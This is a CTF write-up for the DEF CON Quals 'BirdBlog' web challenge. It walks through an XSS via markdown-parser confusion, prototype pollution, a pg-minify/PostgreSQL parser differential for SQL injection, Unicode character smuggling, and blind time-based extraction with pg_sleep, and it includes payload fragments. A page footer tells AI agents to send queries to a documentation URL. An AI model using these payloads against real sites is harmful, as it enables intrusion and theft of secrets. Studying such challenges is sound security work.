# DEFCON Quals 26

Hello world! Over the past few days (during DEF CON CTF), I had the pleasure of playing with the PWN DE QUEIJO team (a merge of several Brazilian teams into one). DEF CON CTF is basically a massive CTF that almost everyone plays — after all, it’s incredibly fun and highly competitive. And here we are, right? I’m here to write some writeups and share my thoughts on the challenges, what I thought about them, and the perspective of someone who dedicated a lot — really, really a lot — of time and effort to this CTF.

*NOTE: I absolutely loved the fact that birds were the theme of the CTF.*

## **BirdBlog**

<figure><img src="/files/KOKoNVHKiz8JjLvQyIel" alt=""><figcaption></figcaption></figure>

*Thanks to Herrera (*[*https://x.com/lbherrera\_*](https://x.com/lbherrera_)*) and Caue (*[*https://x.com/caueobici*](https://x.com/caueobici)*) for doing almost everything on this challenge (I spent quite a while trying to solve it on my own but couldn’t even get close — only the XSS part hehe, I had absolutely no idea how the SQLi was triggered).*\
*And thanks to Bhavya for your wonderful writeup — it helped me understand where I was going wrong. (*[*https://github.com/bhavya32/web-writeups/blob/main/defcon.md*](https://github.com/bhavya32/web-writeups/blob/main/defcon.md)*)*&#x20;

```
flag (port 1337) ← secret_key (SHA256) ──┐
                                         │
Postgres (bird_blog)                     │
  ├─ secret_key (table) ← SQL Injection ◄┘
  ├─ categories
  ├─ posts
  └─ comments

blog_app: port 8080 (public-facing blog)
          port 8081 (admin, localhost-only)

bot: visits blog comments,
     opens the comment page for 30s
     (HTML content is rendered by the browser)

flag service: port 1337
  POST /submit { secretKey } → returns the FLAG if the hash matches
```

This small snippet pretty much summarizes the entire challenge. In theory, it sounds simple, right? An SQLi (extremely tryhard to trigger without spaces or slashes) and an XSS (also insane). In this writeup, I intend to share my perspective as well as the perspective of other teams based on the writeups I’ve read.

The challenge consists of 4 containers sharing the same network namespace. Also the database contains a `secret_key`, which is a random string holding the key required to retrieve the flag. In the CTF, there is a bot that checks every few seconds for new comments and opens them in a headless browser (as admin).

#### 1. XSS

The blog processes comments using a homemade markdown parser in `markdown.mjs`. The first transformations sanitize dangerous characters:

```javascript
	content = content.replace(/[<>&]/g, (char) => `&#${char.charCodeAt(0)};`);
	content = content.replace(/[^\x00-\x7F]/ug, (char) => `&#${char.codePointAt(0)};`);
	content = content.replace(/(?<!\w)"(?=\w)/g, "&ldquo;");
	content = content.replace(/"/g, "&rdquo;");
	content = content.replace(/(?<!\w)'(?=\w)/g, "&lsquo;");
	content = content.replace(/'/g, "&rsquo;");
```

In other words: `<`, `>`, `&`, quotes, and apostrophes are converted into HTML entities — direct tag injection is not possible. But... after sanitizing, it uses regex to parse inputs and links (and this is where the problem lies).&#x20;

```javascript
content = content.replace(/!\[([^\]]*)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, alt, url) => {
		try {
			const parsedUrl = new URL(url);
			return `<img src="${parsedUrl.href}" alt="${alt}">`;
		} catch {
			return match;
		}
	});
	content = content.replace(/\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, text, url) => {
		try {
			const parsedUrl = new URL(url);
			return `<a href="${parsedUrl.href}">${text}</a>`;
		} catch {
			return match;
		}
	});
```

Notice that both use similar regexes, and images are processed before links. The second regex can also match content that was already partially converted, because the link regex does not check whether the match is inside an existing HTML tag.

The parser processes **images before links**. By putting link syntax inside an image payload, the first regex generates an `<img>` tag, but the second regex parses part of that generated HTML again.

```
![[a](https://x.invalid/a)](https://x.com/a/onerror=PAYLOAD//)
        ↓
<img ... alt="[a">
        ↓
<a href="...">...</a>
```

This parsing confusion breaks the final HTML structure and lets us inject attributes into the `<img>` element, giving us XSS via an `onerror` handler. This happens because the parser applies regex replacements **one after another on the same string**: the image regex runs first and generates HTML like `<img alt="[a">`, then the link regex scans that generated HTML again and still matches patterns like `[a](url)` inside it, since it does not check whether the content is already inside an HTML tag.

*Note: We cannot use quotes, apostrophes, backticks, or the usual characters (`<`, `>`, `&`, etc.).*

One trick we could use (which was my idea) was something like `![[a](https://x.invalid/a)](https://example.com/a/onerror=n=/n/.source//)`.

The XSS is very useful because it allows us to access the admin panel. Basically, this CTF was a bizarre chain of multiple bugs until we finally managed to exfiltrate the `secret_key`.

#### 2. Prototype Pollution

The `configure()` function in `configure.mjs` builds a tree from categories. If a category contains `/`, it becomes `navTree[super][sub] = []` — and we control both values. If we use `superCategory = "__proto__"` and `subCategory = "minify"`, the code writes into `navTree.__proto__`, ending up setting `Object.prototype.minify = []`.

```js
const navTree = {};
for (const category of categories) {
    if (!category.inNav) continue;
    const dividerIndex = category.name.indexOf("/");
    if (dividerIndex !== -1) {
        const superCategory = category.name.slice(0, dividerIndex).trim();
        const subCategory = category.name.slice(dividerIndex + 1).trim();
        navTree[superCategory] ??= {};
        navTree[superCategory][subCategory] = [];
    }
}
```

I only remembered this article because I had a vague memory of 'JavaScript For Hackers', where it is mentioned.

The master trick (or rather, the bird trick hehe) was a parser differential between the minifier and the database. Both parsers disagree on how quotes and backslashes behave inside SQL strings.

`pg-minify` treats a quote preceded by an **odd number of backslashes** as *escaped* while  PostgreSQL (with `standard_conforming_strings=on`) does **not** use backslashes as string escapes. This means a payload like `a\''x` is parsed differently by each side: `pg-minify` thinks the string ends in one place, but PostgreSQL thinks it ends somewhere else.

```
pg-minify:   'a\''x'  → quote escaped by '\'
PostgreSQL:  'a\''x'  → '' = literal quote, different parse
```

Because of this mismatch, we can make the minifier and the database disagree about SQL boundaries, eventually turning harmless-looking input into a valid SQL injection.

*However, there were limitations, such as the prohibition of spaces and slashes in the query.*

Basically, because the minifier does not follow the `standard_conforming_strings` rules, we can make it believe that the quotes were closed earlier. Going back to the prototype pollution, it is useful because it allowed us to enable the minifier (which is the key to the SQLi).

To bypass the protections, I used Unicode → ASCII expansion through `any-ascii` together with the missing `/g` flag in `slugify`:&#x20;

The injection happens in the `archive.sql.chbs` template, which generates the query executed on the blog homepage. The vulnerable code is:

```sql
WITH top_categories AS (
    VALUES
    {{#each topCategories}}
        ({{ @index }}, {{{ sqlString (slugify name) }}}){{#unless @last}},{{/unless}}
    {{/each}}
)
SELECT jsonb_agg(jsonb_build_object( ... ))
FROM top_categories
    JOIN categories ON top_categories.column2 = categories.slug
```

`topCategories` comes from the admin:

We could control the category names, because by making the admin (through the XSS) send a request to `/configure?categories=1,2,3`, every category starting with `*` would be included in `topCategories`. On top of that, `slugify` was missing the `/g` flag; in `hbs.mjs` it called:

```javascript
const slug = slugify(str.replace(/\//g, " "), { lower: true, remove: /[^\w\s]/ });
```

The `remove` regex is `/[^\w\s]/` **without the `/g` flag**.

```js
text.split("").reduce((acc, cur) => {
    cur = anyascii(cur);   // translitera Unicode → ASCII
    return acc + cur.replace(options.remove ?? /.../g, "");
}, "");
```

For each character, `any-ascii` can expand it into multiple ASCII characters, and `.replace()` without `/g` removes only the **first** non-`\w` or non-`\s` character.

This means that any character expanded by `any-ascii` into 2+ characters can have the first one removed while the rest survives!

We mapped forbidden characters (such as `\`, `'`, `|`, `(`, `)`) to specific Unicode characters, which `any-ascii` expanded into their ASCII equivalents. Then `slugify` removed only the first non-word character from each expansion.

| Desired character | Unicode  | `any-ascii` →        | After `slugify` (1st removal)                  |
| ----------------- | -------- | -------------------- | ---------------------------------------------- |
| `\` (backslash)   | U+2CF9 ⳹ | `\\` (2 backslashes) | `\`                                            |
| `'` (quote)       | U+02BA ʻ | `''` (2 quotes)      | `'`                                            |
| `\|` (pipe)       | U+2016 ‖ | `\|\|` (2 pipes)     | `\|`                                           |
| `(` (open paren)  | U+2E28 ⸨ | `((`                 | `(`                                            |
| `)` (close paren) | U+226C ≬ | `()`                 | `(` is removed → `)`                           |
| `:` (colon)       | U+0834 ࠴ | `<:`                 | `<` is removed → `:`                           |
| `/` (slash)       | U+2052 ⁒ | `./.`                | contains `/` → intentionally triggers an error |

In the end, what I thought would be the most useless part actually turned out to be the most useful: controlling the server crash. The process dies after configuration (`process.exit(2)`), clearing the prototype pollution. To prevent this, we added `\u2052` (⁒) as the last category. The `slugify` helper checks:

The `sqlString` helper doubles every quote:

```js
handlebars.registerHelper("sqlString", function (str) {
    return `'${str}'`.replace(/'/g, "''").slice(1, -1);
});
```

1. Wraps the input in quotes: `'${str}'`
2. Doubles every internal `'`: `''`
3. Removes the first and last quote: `.slice(1, -1)` This means that even if we manage to inject a quote into the slug, it becomes `''` (two quotes), which in PostgreSQL is just a literal quote — it does not close the string.&#x20;

```sql
'abc' → ''abc'' → 'abc'
```

To build the injection, we used something like `slug0 = a\\'--x`. After going through `any-ascii` + `slugify`:

1. `a` → `a`
2. `⳹` → `any-ascii` → `\\` → `slugify` removes the first one → `\`
3. `ʻ` → `any-ascii` → `''` → `slugify` removes the first one → `'`
4. `--` → removed (non-word characters)
5. `x` → `x`

Final result:

```
a⳹ʻ--x
   ↓ any-ascii + slugify
a\'x
```

BUT... when `options.minify` is enabled (thanks to the prototype pollution), the SQL goes through `pg-minify`. `pg-minify` does not respect PostgreSQL’s `standard_conforming_strings`. It treats `\'` as an escaped quote (C-style), even though in modern PostgreSQL `\'` is just a literal backslash + quote.

```
(0, a\''x), (1, ||slug1), ...
```

1. It sees `a\` (text)
2. It sees `''` — because of the `'` after `\'`, the minifier believes the string closed at `\'`. It also treats `--` as a comment...
3. For `a\''x)`, the minifier effectively sees `a\'` as inside the string and `'x)` as outside.

In practice (verified empirically), `pg-minify` removes the `--` and everything after it, consuming the newline and leaving:

```sql
VALUES (0, 'a\'' (1, '||'), (2, '||PAYLOAD...
```

But PostgreSQL (with `standard_conforming_strings=on`) parses it differently:

* `'a\''` → string `a\'` + `''` (literal quote escape)
* `(1,` → loose `VALUES` syntax
* `'||'` → string `||`

The end result is that the `||` from `slug1` becomes a SQL concatenation operator, and `slug2` (our payload) lands in a free expression context.

*This is where Herrera and Caue come into play — they were already much further ahead in the challenge while I was going down this rabbit hole. (From this point on, the solve is theirs.)*

A special mention goes to Bhavya’s writeup, which has a much simpler solution, so it is definitely worth reading. (<https://github.com/bhavya32/web-writeups/blob/main/defcon.md>)

Near the very end (with \~30 minutes left in the CTF), we realized that our solution `select(jsonb_agg(to_jsonb(x)))from(only(secret_key))x(name);` could not directly leak the output. The result was kind of obvious: the output lives inside the archive `highlights`, but our input breaks everything. However, we could still use `pg_sleep` to measure timing and turn it into a blind SQLi. The idea was to abuse `ts_stat`, a PostgreSQL function that, briefly explained, takes a query as a string, executes it dynamically, and returns text statistics. (That’s all you need to know, trust me.)

```sql
SELECT ts_stat('SELECT to_tsvector(''x'') FROM secret_key,
  pg_sleep(CASE WHEN condicao THEN 1.2 ELSE 0 END)')
```

If the condition is true, `pg_sleep(1.2)` delays the response by \~1.2s. If false, it returns immediately.

The final payload cannot contain spaces, commas, single quotes, or double quotes — these are removed or escaped by `slugify`. So we encoded each character using `chr(n)`:

````sql
```sql
chr(115)||chr(101)||chr(108)||...  →  "select to..."
```
````

**The `||` concatenation operator survives thanks to `slug1 = ‖`** (`U+2016` → `any-ascii` → `||` → `slugify` removes the first pipe, leaving `|`). **Since the instance only lasted 5 minutes, we needed a faster extraction strategy. I chose binary search.** The `secret_key` uses the charset `[A-Za-z0-9_-]` — 64 characters total — and the comparison was done with `strpos`:

```sql
strpos('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_',
       substr(secret_key, POS, 1)) > MID_INDEX
```

6 comparisons per character × 64 characters = \~384 requests total.

> **And in the end, all that remained was putting everything together into a single solve script.**\
> \&#xNAN;*(If you want to see a slightly different approach, I highly recommend checking out Bhavya’s writeup.)*

***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://davi1337.gitbook.io/public/defcon-quals-26.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
